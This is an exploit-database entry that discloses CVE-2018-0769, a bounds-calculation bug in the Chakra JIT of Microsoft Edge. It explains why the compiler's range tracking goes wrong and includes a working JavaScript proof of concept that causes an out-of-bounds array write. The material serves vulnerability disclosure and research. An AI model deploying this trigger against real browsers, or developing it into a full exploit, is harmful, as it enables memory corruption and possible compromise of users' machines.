# Microsoft Edge Chakra JIT - Incorrect Bounds Calculation

### EDB-ID:

###### 43710

### CVE:

###### 2018-0769

### Author:

###### Google Security Research

### Type:

###### dos

### Platform:

###### Windows

### Published:

###### 2018-01-17

```
/*
Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.
// Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track
// that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should
// also track that it is equal to (the value of 'b') - 2.
This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.
function opt(j) {
let k = j + 0x7ffffff0;
// (a)
}
But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.
For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.
function opt(j) {
if (j <= 100)
return;
let k = j + 0x7ffffff0;
}
Now, let's take a look at the PoC.
function opt() {
let j = 0;
for (let i = 0; i < 2; i++) {
// (a)
j += 0x100000;
// (b)
let k = j + 0x7ffffff0; // (c)
}
}
Note that all loops are analyzed twice in the JIT optimization process.
Here's what happens in the analyses.
In the first analysis:
At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.
At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.
In the second analysis:
At (a), Chakra considers "j" to be in the range of 0 to 15.
At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.
At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.
In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.
However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.
PoC demonstrating OOB write:
*/
function opt(arr) {
if (arr.length <= 15)
return;
let j = 0;
for (let i = 0; i < 2; i++) {
arr[j] = 0x1234; // (a)
j += 0x100000;
j + 0x7ffffff0;
}
}
function main() {
for (let i = 0; i < 0x10000; i++) {
opt(new Uint32Array(100));
}
}
main();
// At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.
```